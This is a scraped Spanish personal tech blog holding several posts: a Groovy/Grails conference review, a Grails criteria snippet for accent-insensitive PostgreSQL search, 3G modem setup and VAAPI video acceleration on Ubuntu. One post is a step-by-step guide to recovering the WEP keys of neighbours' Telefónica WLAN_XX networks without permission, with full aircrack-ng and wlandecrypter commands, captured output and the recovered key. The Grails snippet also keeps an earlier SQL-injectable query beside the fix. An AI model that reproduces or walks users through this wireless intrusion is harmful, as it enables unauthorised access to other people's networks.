El pasado viernes 4 de noviembre acudí a Greach, una conferencia sobre el lenguaje Groovy y los frameworks en torno a él: Grails, Griffon,... celebrada en la Universidad San Pablo CEU de Madrid. La conferencia estuvo muy bien y las charlas a las que asistí me gustaron casi todas.
Después del registro y la presentación empezaron las charlas en sí:
1.- Groovy 1.8 and beyond!: Guillaume Laforge, project manager de Groovy nos contó las novedades de la versión 1.8 y nos adelantó algunas de las nuevas características que tendremos disponibles en groovy 1.9 como grandes mejoras en el rendimiento o un compilador más estricto que permitirá detectar más errores en tiempo de compilación en lugar de retrasarlos hasta la ejecución.
2.- Novedades de Grails 2.0: Álvaro Sánchez-Mariscal, después de una presentación con un video con la intro de "The Day of the Tentacle", nos contó las novedades que incluye la versión 2.0 de Grails respecto a la 1.3.7: Scaffolding en HTML5, uso por defecto de jQuery en lugar de prototype, muchas mejoras en la parte de tests,...
3.- Deconstructing i18n-fields. Nacimiento y evolución de un power-plugin de Grails, sin cortes, sin censuras: Bajo este título, Jorge Uriarte nos contó las ventajas de la arquitectura de plugins de Grails, lo fácil que es crear un plugin y cómo le surgió la necesidad de crear este plugin. Con él, se puede internacionalizar campos de la base de datos de manera muy fácil y sencilla. Nos contó las distintas aproximaciones y evoluciones que ha tenido el plugin, vimos fragmentos de código,... La charla me pareció muy interesante y al final de ella pude hablar un rato con Jorge para comentarle que yo ya estoy utilizando su plugin en un proyecto y que me está resultando muy útil.
Después de esto tuvimos una pequeña pausa para tomar un café y recuperar algo de fuerzas con una pastas y volvimos a la carga con el siguiente bloque de charlas
4.- Volando con Griffon: Griffon es un framework que utiliza el lenguaje Groovy para escribir aplicaciones Java de escritorio basadas en Swing. La charla la dió Andrés Almiray, creador de Griffon. Tenía puestas muchas expectativas en esta charla pero al final me decepcionó un poco, según la agenda íbamos a ver cómo crear una aplicación con REST habilitado y al final sólo vimos cómo crear una aplicación con un par de cajas de texto y poco más.
5.- Gana velocidad y facilita la escalabilidad: Optimiza tus webs Grails: Dani Latorre nos contó una serie de tips generales para optimizar aplicaciones web y fue poniendo ejemplos de cómo implementarlos en Grails. Nos contó una gran variedad de plugins existentes actualmente con los que poder llevar a cabo dichas optimizaciones. La charla, sin ser magnífica, sí que me sirvió para replantearme ciertas cosas.
6.- Grails and Cloud Foundry: Después de la parada para la comida, volvimos con Graeme Rocher, lider del proyecto Grails, que nos contó la plataforma Cloud Foundry para el despliegue de aplicaciones "en la nube". Después de una pequeña introducción nos contó la existencia de un plugin de Grails que permite la integración y despligue de nuestras aplicaciones Grails de una manera rápida y sencilla. Vimos una demo de cómo funciona y aunque parece muy prometedor, todavía tiene bastantes limitaciones: no hay persistencia en el sistema de ficheros, no se puede acceder a la base de datos,... Graeme nos contó que están trabajando en solucionar todos estos problemas.
7.- Groovy Code Generation: Esta sin duda fue la charla más espesa de todas. Hamlet D'Arcy habló de transformaciones AST en Groovy. Hubo bastantes ejemplos y la charla fue muy interesante, aunque se requieren bastantes conocimientos para poder empezar con ello.
8.- Creación de plugins en Griffon: Mario García nos contó cómo funcionan los plugins de Griffon y nos hizo una demo sobre cómo crear uno para acceder a una instancia Solr.
9.- Engrandeciendo Grails con MongoDB: Esta fue una de las charlas que más me gustó. Enrique Medina nos habló sobre su experiencia en la integración de MondoDB con Grails, problemas que ha tenido, formas de resolver los distintos tipos de relaciones 1:1, 1:N y N:M. Me gustó mucho la charla y me abrió un poco los ojos respecto a una base de datos NoSQL. Es posible que en un futuro no muy lejano le dé una oportunidad a MongoDB en algún proyecto.
Y después de todas estas charlas llegó la parte final, se sorteó un curso de HTML5 y CSS3, una licencia de WebStorm y otra de Intelli J y finalmente libros de Grails in Action y Griffon in Action. A mi me tocó uno de Grails in Action :-).
Respecto a la organización, me pareció muy buena. Quiero dar las gracias a Alberto Vilches, padre del evento y a todos los colaboradores porque todo salió muy bien. Por ejemplo, el tema de la comida fue mucho mejor que en el pasado Spring IO en donde sólo tuvimos un sandwich frío. Esta vez pudimos comer en el comedor de la universidad.
Como punto negativo, al igual que en el Spring IO, la wifi se caía de vez en cuando, aunque esto es algo ajeno a los organizadores ya que es totalmente dependiente de la universidad.
Blog de Iván López
En este blog iré contando cosas de la informática, linux, hardware, cacharreos,... en general un blog friki-geek ;-)
domingo 13 de noviembre de 2011
viernes 28 de octubre de 2011
Creando Hibernate Criteria en Grails
La situación es la siguiente: Tenemos una aplicación grails en la que tenemos que buscar por nombre de usuario. La primera aproximación sería utilizar ilike para buscar en los campos nombre y apellidos y todo funcionaría perfectamente hasta que llegamos a los nombres con tildes. ¿Qué ocurre si el usuario está dado de alta como Iván y nosotros introducimos Ivan, pues que sencillamente no aparecerá.
Hay varias formas de afrontar el problema incluyendo el full text search con plugins como searchable o elasticsearch, pero si no queremos complicarnos en configurarlos o nuestra situación no requiere de búsquedas complejas, podemos usar otra solución.
En mi caso estoy utilizando PostgreSQL como base de datos en su versión 9.0. A partir de esta versión se incluye por defecto (sólo es necesario instalarla) la función unaccent que elimina todas las tildes de un campo. Así, la consulta que contruiríamos a mano sería algo como:
Editamos el archivo BootStrap.groovy y añadimos lo siguiente:
Lo que estamos haciendo es inyectar al HibernateCriteriaBuilder un método llamado unaccent que recibe como parámetros un string con el nombre de la propiedad y un objeto con el valor que queremos comparar.
Con esto podemos reescribir la consulta anterior de la siguiente manera:
Todo esto se puede mejorar puesto que en función del número de registros que esperemos tener en la tabla, aplicar la función unaccent a la columna obliga a la base de datos a hacer un full scan en toda la tabla. Podríamos crear un índice, usar un campo paralelo para realizar las búsquedas que se mantenga automáticamente con un trigger, controlar este campo desde la aplicación grails con los métodos afterSave() y afterUpdate() de la clase de dominio User,... en fin, unas cuantas alternativas.
Hay varias formas de afrontar el problema incluyendo el full text search con plugins como searchable o elasticsearch, pero si no queremos complicarnos en configurarlos o nuestra situación no requiere de búsquedas complejas, podemos usar otra solución.
En mi caso estoy utilizando PostgreSQL como base de datos en su versión 9.0. A partir de esta versión se incluye por defecto (sólo es necesario instalarla) la función unaccent que elimina todas las tildes de un campo. Así, la consulta que contruiríamos a mano sería algo como:
select * from user
where unaccent("name") ilike unaccent('%iván%')
Y devolvería cualquier usuario que se llamase: ivan, Iván, iván, IVÁN,... Todo esto está muy bien, pero que ocurre si ya tenemos el siguiente criteria de grails:def users = User.createCriteria().list() {
ilike('name', '%' + value + '%')
}
¿Cómo añadimos esa llamada a la función unaccent?. Vamos a crear nuestro propio Hibernate Criteria.Editamos el archivo BootStrap.groovy y añadimos lo siguiente:
HibernateCriteriaBuilder.metaClass.unaccent = { String propertyName, Object propertyValue ->
if (!validateSimpleExpression()) {
throwRuntimeException(new IllegalArgumentException("Call to [unaccent] with propertyName [" +
propertyName + "] and other property name [" + otherPropertyName + "] not allowed here."));
}
propertyName = calculatePropertyName(propertyName);
propertyValue = calculatePropertyValue(propertyValue);
def query = "unaccent(\"${propertyName}\") ilike unaccent('%${propertyValue}%')"
return addToCriteria(Restrictions.sqlRestriction(query));
def query = "unaccent(\"${propertyName}\") ilike unaccent(?)"
def value = "%${propertyValue}%"
return addToCriteria(Restrictions.sqlRestriction(query.toString(), value.toString(), Hibernate.STRING));
}
[ACTUALIZACIÓN]: He cambiado la forma de generar la consulta para que evitar posibles ataques por inyección de sql.Lo que estamos haciendo es inyectar al HibernateCriteriaBuilder un método llamado unaccent que recibe como parámetros un string con el nombre de la propiedad y un objeto con el valor que queremos comparar.
Con esto podemos reescribir la consulta anterior de la siguiente manera:
def users = User.createCriteria().list() {
// Old method
//ilike('name', '%' + name + '%')
unaccent('name', value)
}
Si ejecutamos el criteria vemos que la consulta es la siguiente: select
this_.id as id19_0_,
this_.name as name19_0_
from
user this_
where
unaccent("name") ilike unaccent('%iván%')
Que efectivamente devuelve los mismos registros de antes :-) Todo esto se puede mejorar puesto que en función del número de registros que esperemos tener en la tabla, aplicar la función unaccent a la columna obliga a la base de datos a hacer un full scan en toda la tabla. Podríamos crear un índice, usar un campo paralelo para realizar las búsquedas que se mantenga automáticamente con un trigger, controlar este campo desde la aplicación grails con los métodos afterSave() y afterUpdate() de la clase de dominio User,... en fin, unas cuantas alternativas.
| Reacciones: |
martes 1 de febrero de 2011
Conectándonos a redes WLAN_XX de Telefónica sin saber la contraseña
Este pasado verano estuvimos de vacaciones en un piso en la costa española que han comprado mis suegros. Aunque tengo el modem 3G USB para conectarme a internet, nunca está de más probar a ver si existe alguna red wifi disponible. Después del paseo de rigor con el portátil por toda la casa, me pongo en la mesa del salón y aunque no existe ninguna red abierta a la que poder conectarme, veo que hay unas cuantas con el nombre WLAN_XX. Estas redes son de Telefónica y al ser "antiguas", el cifrado utilizado es WEP. Podría ponerme a capturar varios cientos de miles de paquetes y posteriormente por fuerza bruta intentar averiguar la clave. Afortunadamente hay una manera mucho más sencilla de obtenerla.
El primer paso es instalar desde los repositorios aircrack-ng. Son un conjunto de utilidades que permiten poner la tarjeta en modo monitor para capturar paquetes, inyectar paquetes en redes wifi, obtener una contraseña WEP con un cierto número de paquetes capturados,...
Ahora ponemos la tarjeta de red en modo monitor para capturar todos los paquetes que nos llegan.
La tarjeta wifi ya está en modo monitor, en este caso en el interfaz mon0. Éste será el que utilizaremos para capturar el tráfico.
He marcado en negrita la red que nos interesa: WLAN_B8. Lo que hemos hecho es capturar todos los paquetes wifi que "vemos" y almacenarlos en un conjunto de archivos con el prefijo packets. La columna importante es #Data: indica que ya hemos capturado 6 IV's, necesarios para romper la contraseña. Dejamos este proceso capturando y en otro terminal seguimos trabajando.
Como ya he comentado, los nombres WLAN_XX son los que antiguamente ponía Telefónica a las redes wifi, dejando además la configuración por defecto. Existe una relación entre el nombre de la red, el BSSID (la mac del punto de acceso) y la clave.
En lugar de tener que capturar muchos paquetes, con sólo 4 o más IV's podremos romper el cifrado puesto que vamos a utilizar un ataque por diccionario. Para generar este diccionario usaremos wlandecrypter. Lo descargamos, descomprimimos y con un simple make compilaremos el archivo .c. El uso es muy sencillo, le pasamos como parámetros la mac del punto de acceso y el nombre de la red y nos generará el diccionario con las claves.
Como podéis ver, a partir del BSSID ha detectado qué modelo de router es y ha generado las claves necesarias. En este caso sólo son 65536 claves posibles (siempre que el dueño no haya cambiado la clave por defecto).
Como ya habíamos capturado más de 4 IV's vamos a obtener la clave WEP de la red, para ello ejecutamos aircrack-ng pasándole el BSSID, el diccionario que hemos generado y los paquetes capturados.
Lo hemos conseguido, ya tenemos la clave que hemos conseguido prácticamente de manera instantánea. Ahora sed buenos con vuestros vecinos :-P
P.D: También existe una herramienta similar para generar diccionarios para las redes de Jazztel ;-)
ivan@suneo:~$ sudo apt-get install aircrack-ng
ivan@suneo:~$ sudo airmon-ng start wlan0
Interface Chipset Driver
wlan0 Intel 3945ABG iwl3945 - [phy0]
(monitor mode enabled on mon0)
ivan@suneo:~$ sudo airodump-ng -w packets mon0
CH 1 ][ Elapsed: 9 mins ][ 2010-08-10 15:35
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:01:38:DF:ED:AE -68 3193 6 0 6 54 . WEP WEP WLAN_B8
00:1A:4D:22:45:81 -84 486 213 0 7 54e. OPN tcc-hotspot-escuera
00:1F:3F:A3:C7:39 -90 52 0 0 6 54 WEP WEP Harry Mehlitz
00:1A:2B:5C:57:76 -87 288 4 0 11 54 WEP WEP JAZZTEL_47
00:1A:2B:01:AC:A0 -83 829 0 0 3 54 WEP WEP WLAN_E9
00:0C:F6:82:44:50 -84 507 3 0 11 54e. WPA TKIP PSK Sitecom824450
BSSID STATION PWR Rate Lost Packets Probes
(not associated) 00:13:CE:6A:1B:14 -89 0 - 1 0 138 MI_CASA,WLAN_4B,1234567891234567891234567891
(not associated) 00:1A:EF:05:17:2D -89 0 - 1 0 5 WLAN_4D
00:01:38:DF:ED:AE 00:1F:3C:E1:95:C5 0 6 - 1 0 876 WLAN_B8
00:1A:2B:5C:57:76 00:22:43:65:1E:C6 -84 0 - 1 0 5 JAZZTEL_47
00:1A:2B:5C:57:76 00:16:EA:35:DD:D4 -85 0 - 1 0 3
Como ya he comentado, los nombres WLAN_XX son los que antiguamente ponía Telefónica a las redes wifi, dejando además la configuración por defecto. Existe una relación entre el nombre de la red, el BSSID (la mac del punto de acceso) y la clave.
En lugar de tener que capturar muchos paquetes, con sólo 4 o más IV's podremos romper el cifrado puesto que vamos a utilizar un ataque por diccionario. Para generar este diccionario usaremos wlandecrypter. Lo descargamos, descomprimimos y con un simple make compilaremos el archivo .c. El uso es muy sencillo, le pasamos como parámetros la mac del punto de acceso y el nombre de la red y nos generará el diccionario con las claves.
ivan@suneo:~$ wlandecrypter 00:01:38:DF:ED:AE WLAN_B8 dic_WLANB8.txt
wlandecrypter v1.3.1 (2010/04/21)
[+] BSSID: 00:01:38:XX:XX:XX
[+] Modelo: Xavi 7768r
[+] Generando fichero de claves: dic_WLANB8.txt.kk
[+] Fichero guardado OK
[+] Generadas 65536 claves (896 KB)
[+] Proceso finalizado con exito
Como podéis ver, a partir del BSSID ha detectado qué modelo de router es y ha generado las claves necesarias. En este caso sólo son 65536 claves posibles (siempre que el dueño no haya cambiado la clave por defecto).
Como ya habíamos capturado más de 4 IV's vamos a obtener la clave WEP de la red, para ello ejecutamos aircrack-ng pasándole el BSSID, el diccionario que hemos generado y los paquetes capturados.
ivan@suneo:~$ aircrack-ng -b 00:01:38:DF:ED:AE -w dic_WLANB8.txt -K packets-01.cap
Opening packets-01.cap
Reading packets, please wait...
Aircrack-ng 1.0
[00:00:00] Tested 3873 keys (got 6 IVs)
KB depth byte(vote)
0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
KEY FOUND! [ 58:30:30:30:31:33:38:44:46:32:30:42:38 ] (ASCII: X000138DF20B8 )
Decrypted correctly: 100%
Lo hemos conseguido, ya tenemos la clave que hemos conseguido prácticamente de manera instantánea. Ahora sed buenos con vuestros vecinos :-P
P.D: También existe una herramienta similar para generar diccionarios para las redes de Jazztel ;-)
| Reacciones: |
miércoles 11 de agosto de 2010
Conexión 3G con Ubuntu
Hace unos meses compré un modem USB 3G de Carrefour móvil. La oferta era muy buena y no quería dejar pasar la oportunidad: Modem 3G USB HUAWEI E156G libre, tarjeta carrefour móvil con 5€ de saldo y tarifa diaria de 1€ sin límite de velocidad hasta 100 MB y luego con velocidad reducida. Todo por tan sólo 29€.
Lo primero que hice cuando llegué a casa fue probarlo con una tarjeta Simyo que tengo (no quería probarlo con la tarjeta de carrefour para no desperdiciar un día de la conexión). Conecté el modem al portatil (con Ubuntu 10.04, por supuesto) y éste lo reconoció sin problemas:
El asistente de configuración no puede ser más fácil, sencillo e intuitivo. Hacemos click con el botón derecho en el icono del network manager y añadimos una nueva conexión Mobile, seleccionamos el dispositivo, el país, nuestro operador y finalizamos.


Ahora ya nos podemos conectar. Elegimos la conexión que acabamos de crear, esperamos unos segundos a que se establezca y ya podemos navegador.

¿Quién dijo que configurar las cosas en linux era difícil?.
En el caso de querer utilizar la tarjeta de Carrefour móvil el procedimiento es el mismo pero como éste no aparece en la lista de proveedores, deberemos configurarlo a mano. Sólo tenemos que introducir CARREFOURINTERNET como APN y listo, conexión configurada y lista para ser utilizada.

Lo primero que hice cuando llegué a casa fue probarlo con una tarjeta Simyo que tengo (no quería probarlo con la tarjeta de carrefour para no desperdiciar un día de la conexión). Conecté el modem al portatil (con Ubuntu 10.04, por supuesto) y éste lo reconoció sin problemas:
ivan@suneo:~$ tail /var/log/messages
Aug 11 22:43:56 suneo kernel: [ 447.944954] option 2-2:1.0: GSM modem (1-port) converter detected
Aug 11 22:43:56 suneo kernel: [ 447.945320] usb 2-2: GSM modem (1-port) converter now attached to ttyUSB0
El asistente de configuración no puede ser más fácil, sencillo e intuitivo. Hacemos click con el botón derecho en el icono del network manager y añadimos una nueva conexión Mobile, seleccionamos el dispositivo, el país, nuestro operador y finalizamos.


Ahora ya nos podemos conectar. Elegimos la conexión que acabamos de crear, esperamos unos segundos a que se establezca y ya podemos navegador.

¿Quién dijo que configurar las cosas en linux era difícil?.
En el caso de querer utilizar la tarjeta de Carrefour móvil el procedimiento es el mismo pero como éste no aparece en la lista de proveedores, deberemos configurarlo a mano. Sólo tenemos que introducir CARREFOURINTERNET como APN y listo, conexión configurada y lista para ser utilizada.

| Reacciones: |
domingo 1 de agosto de 2010
Acelerando video en alta definición H.264 por hardware en Ubuntu 10.04 con ATI
Desde que monté el HTPC una de las cosas que siempre quise hacer fue acelerar por hardware los vídeos H.264. Todas las series que descargo (que son bastantes) intento que estén siempre en 720p puesto que además de la calidad adicional respecto al divx estándar, también viene con sonido 5.1, por lo que la sensación final es mucho mejor.
Así, quería poder acelerar el video sin tener que tirar de cpu. Cuando tenía instalado windows xp en el HTPC lo intenté siguiendo varias guías y tutoriales y también con distintos programas, pero al final no fui capaz de conseguirlo. Desde que instalé Ubuntu en el HTPC la cosa ha cambiado. Mi placa base lleva integrada una ATI HD3200, que, aunque es algo modesta y para juegos seguro que se queda corta, permite acelerar vídeos en alta definición. Para ello vamos a utilizar las librerías VAAPI (Video Aceleration API) que son el equivalente para ATI de las famosas VDPAU de NVidia. Además, como no podría ser de otra forma, el reproductor será mplayer. Veamos cómo lo he conseguido.
Instalando el driver propietario de ATI
Utilizaremos la última versión de los drivers propietarios de ATI para Linux. En Ubuntu 10.04 sólo funcionan los drivers a partir de la versión 10.4. Por suerte, cuando salió la última versión de Ubuntu, en ATI se pusieron las pilas y al día siguiente ya habían liberado los drivers. Parece que por fin nos van teniendo en cuenta a los usuarios de Linux.
Actualmente la última versión disponible para mi tarjeta es la 10.7. La descargamos, en mi caso la versión de 64 bits, y la instalamos sin mayor complicación con:
Instalando las librerías VAAPI
Como hemos comentado, para conseguir la aceleración por GPU vamos a usar VAAPI. En la web http://www.splitted-desktop.com/~gbeauchesne/ nos tenemos que bajar las últimas versiones disponibles de: libva, libva-dev, libva-dbg y xvba-video
Compilando mplayer con soporte VAAPI
Aunque no es estrictamente necesario, sí es recomendable instalar primero la versión existente en los repositorios de Ubuntu. Así, el sistema sabrá que está instalado y nos permitirá instalar complementos como la interfaz gráfica SMPlayer.
Antes de poder compilar mplayer tendremos que descargar todas las librerías y paquetes xxxx-dev necesarios. Para ello ejecutamos lo siguiente. En mi caso se descargaron 112 paquetes, pero esto puede variar de un sistema a otro en función de lo que tengamos instalado previamente.
Probando a vídeos con aceleración y sin ella
Para hacer la prueba voy a utilizar un capítulo de Lost en 720p. Primero vamos a hacer una prueba sin acelerar ejecutando simplemente:

Como vemos la diferencia en ambos casos del uso de CPU es brutal, algo esperado porque quien realmente está decodificando el vídeo en el caso de VAAPI es la GPU.
Finalmente, copiamos mplayer a su ubicación definitiva para poder ejecutarlo desde cualquier sitio. Con esto reemplazaremos los binarios que instalamos desde los repositorios.
Automatizando los parámetros de mplayer
Ahora ya sabemos cómo acelerar los vídeos por hardware pero es una tarea un poco pesada tener que pasar todos los parámetros de mplayer para cada vídeo. Además, en mi caso, no estoy utilizando la salida de audio mini-jack de la placa base, sino que uso la salida óptica S/PDIF. Para conseguir que mplayer saque el audio por ese conector, también debemos indicárselo.
Mostramos un listado de los dispositivos hardware capaces de reproducir audio para ver cual es que nos interesa.
Esto cada vez crece más. Si antes teníamos que poner las opciones para el soporte vaapi, ahora adicionalmente tenemos que poner también la salida por S/PDIF. Para nuestra comodidad podemos añadir todas estas opciones al archivo de configuración de mplayer.
¿Y por qué no usar VLC?
Hace un par de semanas se ha liberado la versión 1.1.1 de VLC con soporte VAAPI. Si queréis instalarlo podéis seguir estas instrucciones. Simplemente consiste en añadir un nuevo repositorio e instalar VLC desde él. Aún así esta versión no está compilada con soporte VAAPI. También nos podemos descargar una versión con el soporte vaapi habilitado, pero según podemos leer en el enlace anterior, se "romperán" el resto de reproductores de video y paquetes que utilicen la versión de ffmpeg de los repositorios de Ubuntu. La única solución sería recompilarlos todos contra la nuevas versión de ffmpeg.
Conclusiones
Sabía que acelerar los vídeos por GPU iba a suponer que la CPU prácticamente estuviera descansando, aún así el resultado me ha sorprendido gratamente. Además, por fin parece que ATI proporciona unos drivers que funcionan en Linux. Son propietarios y cerrados y sería estupendo que fueran libres, pero al menos, los que decidimos apostar por ATI y Linux no nos sentimos abandonados como hace unos años cuando ATI en Linux era sinónimo de problemas y quebraderos de cabeza. Aún recuerdo cuando monté mi ordenador "de sobremesa" hace ya más de tres años, que elegí una NVidia sin dudarlo por la multitud de problemas que había con ATI en Linux. En fin, los tiempos cambian, por fortuna a mejor, para los usuarios de Linux :-).
Así, quería poder acelerar el video sin tener que tirar de cpu. Cuando tenía instalado windows xp en el HTPC lo intenté siguiendo varias guías y tutoriales y también con distintos programas, pero al final no fui capaz de conseguirlo. Desde que instalé Ubuntu en el HTPC la cosa ha cambiado. Mi placa base lleva integrada una ATI HD3200, que, aunque es algo modesta y para juegos seguro que se queda corta, permite acelerar vídeos en alta definición. Para ello vamos a utilizar las librerías VAAPI (Video Aceleration API) que son el equivalente para ATI de las famosas VDPAU de NVidia. Además, como no podría ser de otra forma, el reproductor será mplayer. Veamos cómo lo he conseguido.
Instalando el driver propietario de ATI
Utilizaremos la última versión de los drivers propietarios de ATI para Linux. En Ubuntu 10.04 sólo funcionan los drivers a partir de la versión 10.4. Por suerte, cuando salió la última versión de Ubuntu, en ATI se pusieron las pilas y al día siguiente ya habían liberado los drivers. Parece que por fin nos van teniendo en cuenta a los usuarios de Linux.
Actualmente la última versión disponible para mi tarjeta es la 10.7. La descargamos, en mi caso la versión de 64 bits, y la instalamos sin mayor complicación con:
$ sudo ./ati-driver-installer-10-7-x86.x86_64.run
Instalando las librerías VAAPI
Como hemos comentado, para conseguir la aceleración por GPU vamos a usar VAAPI. En la web http://www.splitted-desktop.com/~gbeauchesne/ nos tenemos que bajar las últimas versiones disponibles de: libva, libva-dev, libva-dbg y xvba-video
$ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva-dev_0.31.1-1+sds4_amd64.debInstalamos los paquetes que acabamos de descargar:
$ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva1-dbg_0.31.1-1+sds4_amd64.deb
$ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva1_0.31.1-1+sds4_amd64.deb
$ wget http://www.splitted-desktop.com/~gbeauchesne/xvba-video/xvba-video_0.7.2-1_amd64.deb
$ sudo dpkg -i libva* xvba-video_0.7.2-1_amd64.deb
Compilando mplayer con soporte VAAPI
Aunque no es estrictamente necesario, sí es recomendable instalar primero la versión existente en los repositorios de Ubuntu. Así, el sistema sabrá que está instalado y nos permitirá instalar complementos como la interfaz gráfica SMPlayer.
Antes de poder compilar mplayer tendremos que descargar todas las librerías y paquetes xxxx-dev necesarios. Para ello ejecutamos lo siguiente. En mi caso se descargaron 112 paquetes, pero esto puede variar de un sistema a otro en función de lo que tengamos instalado previamente.
$ sudo apt-get build-dep mplayerAunque la compilación de mplayer puede parecer algo complejo, realmente es muy sencilla. Lo que realmente nos vamos a descargar es un script y unos parches para mplayer. Descargamos la última versión disponible en http://www.splitted-desktop.com/~gbeauchesne/mplayer-vaapi/.
$ wget http://www.splitted-desktop.com/~gbeauchesne/mplayer-vaapi/mplayer-vaapi-20100713.tar.bz2Ejecutamos el script que se encarga de todo. Descarga de los subversions las versiones adecuadas de mplayer, ffmpeg y dvdnav, las parchea y finalmente las compila. Si hemos ejecutado todos los pasos anteriores deberíamos tener todas las dependencias satifeschas y la compilación no debería fallar. Esperamos a que termine ya que tardará más o menos en función de la potencia de la máquina.
$ bunzip2 mplayer-vaapi-20100713.tar.bz2
$ tar xvf mplayer-vaapi-20100713.tar
mplayer-vaapi-20100713/
mplayer-vaapi-20100713/patches/
mplayer-vaapi-20100713/patches/mplayer-vaapi-gma500-workaround.patch
mplayer-vaapi-20100713/patches/mplayer-vdpau.patch
mplayer-vaapi-20100713/patches/mplayer-vaapi.patch
mplayer-vaapi-20100713/patches/mplayer-vaapi-0.29.patch
mplayer-vaapi-20100713/checkout-patch-build.sh
mplayer-vaapi-20100713/README.txt
mplayer-vaapi-20100713/NEWS
$ ./checkout-patch-build.shAhora tendremos un directorio llamado mplayer-vaapi en el que estará disponible nuestra propia versión de mplayer.
Probando a vídeos con aceleración y sin ella
Para hacer la prueba voy a utilizar un capítulo de Lost en 720p. Primero vamos a hacer una prueba sin acelerar ejecutando simplemente:
$ ./mplayer Lost.S06E01-02.720p.mkvSi ahora hacemos lo mismo pero utilizamos VAAPI vemos en la salida de mplayer que estamos usando las librerías para la aceleración.
...
VIDEO: [H264] 1280x720 0bpp 24.000 fps 0.0 kbps ( 0.0 kbyte/s)
==========================================================================
Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
==========================================================================
Starting playback...
Movie-Aspect is 1.78:1 - prescaling to correct movie aspect.
VO: [xv] 1280x720 => 1280x720 Planar YV12
$ ./mplayer -vo vaapi -va vaapi Lost.S06E01-02.720p.mkvPara que se vea de una manera más gráfica la diferencia de consumo de CPU, con el comando pidstat tomé muestras del consumo de mplayer en ambos casos.
...
VIDEO: [H264] 1280x720 0bpp 24.000 fps 0.0 kbps ( 0.0 kbyte/s)
libva: libva version 0.31.1-sds1
Xlib: extension "XFree86-DRI" missing on display ":0.0".
libva: va_getDriverName() returns 0
libva: Trying to open /usr/lib/va/drivers/fglrx_drv_video.so
libva: va_openDriver() returns 0
==========================================================================
Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
[VD_FFMPEG] VA API accelerated codec.
Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
==========================================================================
VO: [vaapi] 1280x720 => 1280x720 H.264 VA-API Acceleration
[VD_FFMPEG] XVMC-accelerated MPEG-2.

Como vemos la diferencia en ambos casos del uso de CPU es brutal, algo esperado porque quien realmente está decodificando el vídeo en el caso de VAAPI es la GPU.
Finalmente, copiamos mplayer a su ubicación definitiva para poder ejecutarlo desde cualquier sitio. Con esto reemplazaremos los binarios que instalamos desde los repositorios.
$ sudo make install
install -d /usr/local/bin /usr/local/etc/mplayer /usr/local/lib
install -m 755 -s mencoder /usr/local/bin
install -d /usr/local/share/man/man1
install -m 644 DOCS/man/en/mplayer.1 /usr/local/share/man/man1/
cd /usr/local/share/man/man1 && ln -sf mplayer.1 mencoder.1
install -m 755 -s mplayer /usr/local/bin
Automatizando los parámetros de mplayer
Ahora ya sabemos cómo acelerar los vídeos por hardware pero es una tarea un poco pesada tener que pasar todos los parámetros de mplayer para cada vídeo. Además, en mi caso, no estoy utilizando la salida de audio mini-jack de la placa base, sino que uso la salida óptica S/PDIF. Para conseguir que mplayer saque el audio por ese conector, también debemos indicárselo.
Mostramos un listado de los dispositivos hardware capaces de reproducir audio para ver cual es que nos interesa.
$ aplay -lAsí, debemos ejecutar mplayer indicando la tarjeta y el dispositivo que queremos utilizar para sacar el audio. Adicionalmente también le forzamos el audio AC3:
**** List of PLAYBACK Hardware Devices ****
card 0: SB [HDA ATI SB], device 0: ALC889A Analog [ALC889A Analog]
Subdevices: 1/1
Subdevice #0: subdevice #0
card 0: SB [HDA ATI SB], device 1: ALC889A Digital [ALC889A Digital]
Subdevices: 1/1
Subdevice #0: subdevice #0
card 1: HDMI [HDA ATI HDMI], device 3: ATI HDMI [ATI HDMI]
Subdevices: 1/1
Subdevice #0: subdevice #0
$ mplayer -ao alsa:device=hw=0.1 -ac hwac3 -vo vaapi -va vaapi pelicula.mvkSi hubiera querido que el audio saliera directamente por el conector HDMI que va a la tele, las opciones que tendría que haber puesto en mplayer serían: -ao alsa:device=hw=1.3
Esto cada vez crece más. Si antes teníamos que poner las opciones para el soporte vaapi, ahora adicionalmente tenemos que poner también la salida por S/PDIF. Para nuestra comodidad podemos añadir todas estas opciones al archivo de configuración de mplayer.
$ cat /home/ivan/.mplayer/configDe esta sólo tenemos que ejecutar
# Write your default config options here!
# Salida por S/PDIF
ao=alsa:device=hw=0.1,
# Forzar audio a AC3
ac=hwac3
# Aceleración HW
vo=vaapi
va=vaapi
$ mplayer pelicula.mkvy tendremos la salida de audio por S/PDIF y la aceleración por hardware habilitada.
¿Y por qué no usar VLC?
